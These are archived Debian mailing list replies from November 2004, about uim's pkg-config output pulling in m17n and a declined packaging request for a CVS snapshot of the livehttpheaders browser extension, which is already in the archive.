On Sun, Nov 28, 2004 at 07:27:20AM +0100, Osamu Aoki [EMAIL PROTECTED] wrote: pkg-config --libs uim = 0.3.9 generates -luim -lm17n instead of only -luim as before. If the pkg-config file of uim gives a -lm17n, then, first of all, libuim-dev should depend on libm17n-dev. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozilla-livehttpheaders-cvs
On Mon, Nov 22, 2004 at 06:17:32AM -0500, David Mandelberg wrote: Mike Hommey wrote: You should just forget the idea, livehttpheaders is already in debian. Sorry, the mirror I'm using must be really out of date or something. Then change it, because it's been more than a year livehttpheaders is in the archive. Mike -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: RFS: mozilla-livehttpheaders-cvs
On Mon, Nov 22, 2004 at 06:17:32AM -0500, David Mandelberg wrote: Mike Hommey wrote: You should just forget the idea, livehttpheaders is already in debian. Sorry, the mirror I'm using must be really out of date or something. Then change it, because it's been more than a year livehttpheaders is in the archive. Mike
Re: RFS: mozilla-livehttpheaders-cvs
On Sun, Nov 21, 2004 at 10:35:53AM -0500, David Mandelberg wrote: Mike Hommey wrote: What is the point of having a CVS snapshot for livehttpheaders ? I couldn't find any source code for the 0.9 or any of the official releases, so I went with a cvs snapshot. Should I email the author asking for a 0.9 tarball? You should just forget the idea, livehttpheaders is already in debian. Mike
